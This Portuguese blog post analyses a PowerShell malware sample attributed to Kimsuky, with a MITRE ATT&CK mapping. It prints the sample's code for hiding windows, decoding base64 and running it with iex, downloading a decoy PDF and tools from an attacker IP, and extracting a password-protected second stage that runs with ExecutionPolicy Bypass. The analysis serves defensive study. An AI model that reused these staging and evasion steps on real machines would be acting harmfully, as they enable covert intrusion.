0xPwnbuff3r

Análise de malware - Kimsuky (NORTH KOREAN APT)

SUMÁRIO

  1. Introdução
  2. Análise técnica
    2.1. Injeção de C# com Add-Type
    2.2. Ocultação de processos via ShowWindow
    2.3. Ofuscação Base64 e execução dinâmica
    2.4. PDF de distração e engenharia social
    2.5. Ferramentas Externas para Extração de Payload
    2.6. Execução de Payload em Múltiplas Etapas
    2.7. Execução do Script da Etapa Final
  3. Mapeamento MITRE ATT&CK
  4. Considerações Finais

1. INTRODUÇÃO

APT refere-se a grupos de Ameaça Persistente Avançada (Advanced Persistent Threat), conhecidos por desenvolverem malwares altamente avançados e furtivos.
A amostra analisada aqui está categorizada como APT, Kimsuky, e foi escrita em PowerShell (.ps1), encontrada no Malware Bazaar.

Objetivo: Aprender técnicas avançadas de evasão e encadeamento (staging).


2. ANÁLISE TÉCNICA

2.1. Injeção de C# com Add-Type

$sd = Add-Type @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class WinHpXN
{
    [DllImport("user32.dll")]
    private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    public static void SwMng(int processId, int sw)
    {
        Process process = Process.GetProcessById(processId);
        IntPtr hWnd = process.MainWindowHandle;
        if (hWnd != IntPtr.Zero)
            ShowWindow(hWnd, sw);
    }
}
"@
  • O script usa Add-Type para injetar e compilar código C# inline.
  • A classe WinHpXN é criada para chamar a função ShowWindow da user32.dll.
  • Propósito: Ocultar ou exibir janelas de processos específicos.

Valores de sw:

  • 0 = SW_HIDE → ocultar janela
  • 5 = SW_SHOW → exibir janela (não utilizado aqui)

2.2. Ocultação de processos via ShowWindow

$fd = Get-Process -Name powershell,WindowsTerminal

foreach ($fz in $fd) {
    [WinHpXN]::SwMng($fz.Id, 0)
}
  • Usa Get-Process para encontrar powershell, WindowsTerminal.
  • Oculta suas interfaces gráficas (GUI): evasão visual e furtividade contra analistas ou sandboxes.

2.3. Ofuscação Base64 e execução dinâmica

$gvb = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($sd.Replace('@', '')))
iex $gvb
  • Remove o '@' para contornar a correspondência de padrões de antivírus (AV).
  • Decodifica e executa o código ofuscado via Invoke-Expression.

Este malware veio com '@' dentro da ofuscação para evadir a detecção.


2.4. PDF de distração e engenharia social

Invoke-WebRequest -Uri "http://92[.]119[.]114[.]128/doc.pdf" -OutFile "$env:TEMP\Distribution Document.pdf"
Start-Process -FilePath "Distribution Document.pdf"
  • Faz o download e abre um PDF como isca durante a atividade maliciosa.
  • IP criminoso: 92.119.114.128

2.5. Ferramentas Externas para Extração de Payload

Invoke-WebRequest -Uri "http://92[.]119[.]114[.]128/Assets/UnRAR.exe"
  • Faz o download do UnRAR.exe para extrair arquivos .rar protegidos por senha.
  • Evita o uso do Expand-Archive nativo para evadir a detecção.

2.6. Execução de Payload em Múltiplas Etapas

cmd.exe /C "$env:TEMP\UnRAR.exe x -ppoiuytrewq1234 -o+ $env:TEMP\orwartde.rar $env:TEMP"
Start-Process -FilePath orwartde.exe
  • Usa RAR protegido por senha para extrair binários maliciosos.
  • Executa múltiplas etapas (por exemplo, orwartde.exe, enwtsv.exe) para aumentar a persistência.

2.7. Execução do Script da Etapa Final

$t = Invoke-WebRequest ...
$gds = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($t))
Set-Content -Path "$env:TEMP\ov4_dd_pf.txt" -Value $gds
if (Test-Path "$env:TEMP\ov4_dd_pf.ps1") {
    Remove-Item -Path "$env:TEMP\ov4_dd_pf.ps1" -Force
}
cmd.exe /C "powershell -ExecutionPolicy Bypass -File $env:TEMP\ov4_dd_pf.ps1"
  • Faz o download de outra carga-útil (Payload) em PowerShell codificada em base64 e a executa.
  • Usa o renomeio de .txt para .ps1 para evadir antivírus (AV).
  • Executa utilizando ExecutionPolicy Bypass.

3. MAPEAMENTO MITRE ATT&CK

Defense Evasion

  • T1027 Obfuscated Files (Base64)
  • T1027.002 Packed Files (.rar with password)
  • T1218 Signed Binary Proxy Execution (cmd.exe, Start-Process)
  • T1036 Masquerading (.ps1 disguised as .txt)
  • T1548.002 Bypass User Account Control (ExecutionPolicy Bypass)

Command and Control

  • T1071.001 Application Layer Protocol (HTTP)
  • T1105 Ingress Tool Transfer (Downloads: .exe, .rar)

Discovery

  • T1057 Process Discovery (Get-Process to find terminals)

4. CONSIDERAÇÕES FINAIS

Na minha opinião, conseguimos aprender bastante, especialmente técnicas interessantes de APT que podem ser utilizadas no mundo real.

Thx for reading!
@untw0 :)

← Voltar para a página principal